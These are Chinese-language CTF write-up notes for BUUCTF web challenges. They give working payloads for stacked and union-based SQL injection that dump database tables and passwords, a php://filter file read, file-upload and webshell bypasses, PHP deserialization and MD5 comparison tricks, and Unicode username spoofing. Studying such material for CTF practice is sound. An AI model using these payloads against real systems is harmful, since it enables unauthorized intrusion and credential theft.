easy——sql
考点:堆叠注入,sql语句,最后读flag的方法(rename
报错出:
查询一下mariadb的语法 链接:https://www.***blogs.***/biht/p/11720419.html
有过滤
堆叠注入;
查询数据库名
查看当前数据库中的表名
还必须加`才行
如何显示flag呢
学习大佬博客https://www.***blogs.***/chalan630/p/12583667.html
/?inject=-1%27;%20sEt%20@sql=CONCAT(%27se%27,%27lect%20*%20from%20`1919810931114514`;%27);%20prepare%20stmt%20from%20@sql;%20execute%20stmt;
[SUCTF 2019]EasySQL
考点:堆叠注入,sql_mode,短路算法
继续尝试堆叠注入
查Flag中的字段爆出NONONO!
继续学习大佬博客BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)-CSDN博客
知识点MySQL和mssql中||运算符的区别,运算符的意义转换(操作符重置,短路算法
牛掰
sql_mode=PIPES_AS_CONCAT 来转换操作符的作用
两种方法:
1;set sql_mode=PIPES_AS_CONCAT;select 1
*,1
[极客大挑战 2019]Secret File
考点:信息收集,重定向,file伪协议读取flag.php
看源码
点进去是
点SECRET发现
看一下上一页面的源码 发现有
点击却跳转到了end.php
抓包看一下action.php
发现secr3t.php
直接读flag.php不行
那就是用到file伪协议了
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
再base64解码得到flag
[极客大挑战 2019]LoveSQL
考点:万能密码,sql联合查询
万能密码尝试
发现
并不是flag,可能在另一个密码里
admin'or 1=1 order by 1#
发现有3列,
并且2,3回显。
c查询数据库
查询表名
1' union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()#
查第一个表的列名
1' union select 1,database(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='geekuser'#
查字段
1' union select 1,username,group_concat(password) from geekuser#
发现就是第一次万能密码登录的密码
啊
然后查另一张表就行了
1' union select 1,username,group_concat(password) from l0ve1ysq1#
拿到flag。。。
[极客大挑战 2019]Http
考点:考察简单的http知识
User—Agent 浏览器的身份标识字符串
Referer 表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
X-Forwarded-For 可以用来表示HTTP请求端真实ip
Date 发送该消息的日期和时间
[极客大挑战 2019]Knife
蚁剑连接,flag在根目录
[极客大挑战 2019]Upload
考点:
1.绕过<?
2.pthml绕过php
3.mime
4.GIF89a
5.猜测上传文件地址为/upload
[ACTF2020 新生赛]Upload
考点:文件上传phtml解析php代码
基本同上一关
[极客大挑战 2019]PHP
考点:绕过wakeup函数,私有,公有,保护反序列化
直接dir扫描了一下有www.zip下载出现
flag.php中有假flag
看index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
get接收select,然后反序列化为$res
看class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
要使username==='admin'(需要绕过wakeup函数),password=100,才能输出flag
__wakeup()函数用法:__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
绕过wakeup函数 :
绕过方法__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
编写payload不熟悉,借鉴大佬文章【BUUCTF】[极客大挑战 2019] PHP 清晰易懂详细总结 Writeup_buuctf [极客大挑战 2019]php-CSDN博客
[ACTF2020 新生赛]BackupFile
考点:弱等于==
扫描,index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
代码审计
intval()函数:用于将一个值转换为整数类型
在执行关系运算”==“时要求运算符两边的数据类型必须一致,所以如果有一方是int类型,一方是字符串类型的话,字符串类型会被强制转换为整型
首先get传参key必须为数字,然后得 弱等于类型,只要看第一次字母前的数字key=123
运行代码也可以
<?php
for($i=0;$i<100000;$i++){
$key=$i;
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $key;
}
}
?>
结果为123
传参key=123得到flag
[极客大挑战 2019]BuyFlag
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
搜索一下,原来是需要user=1为学生。
继续传password=404a和money=100000000,提示数字太长,使用10e8成功
[BJDCTF2020]Easy MD5
考点:md5($pass,true)漏洞,md5绕过
抓包看一下
有个hint: Hint: select * from 'admin' where password=md5($pass,true)
md5函数:
md5( string , raw )
string : 规定需要计算的字符串
raw : 规定十六进制或二进制输出格式。
true:16字符二进制格式
false(默认): 32字符十六进制数
查到有个值 ffifdyop 可以让此语句永真,输入得到
源码有
md5漏洞绕过: 构造?a=QNKCDZO&b=240610708或者数组绕过 a[]=1&b[]=2
然后显示:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
继续数组绕过 (===的话0e就不行了)
还有大佬的笔记
md5()函数的漏洞总结 - 简书 还学到了强类型绕过
[HCTF 2018]admin
考点:弱密码,Unicode欺骗
先尝试admin+空格注册,不行,加#注册可以,但改不了admin的密码
看wp可以找到源码,打开貌似是404,借看大佬的wp,分析源码是有两层小写(自己写的函数)
def strlower(username): username = nodeprep.prepare(username) return username
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
学习到注册ᴬᴰᴹᴵᴺ为用户名,再修改密码为123456,即修改了admin的密码再登录即可
[MRCTF2020]你传你🐎呢
考点:.hta***ess(.user.ini不行的话)
再上传图片马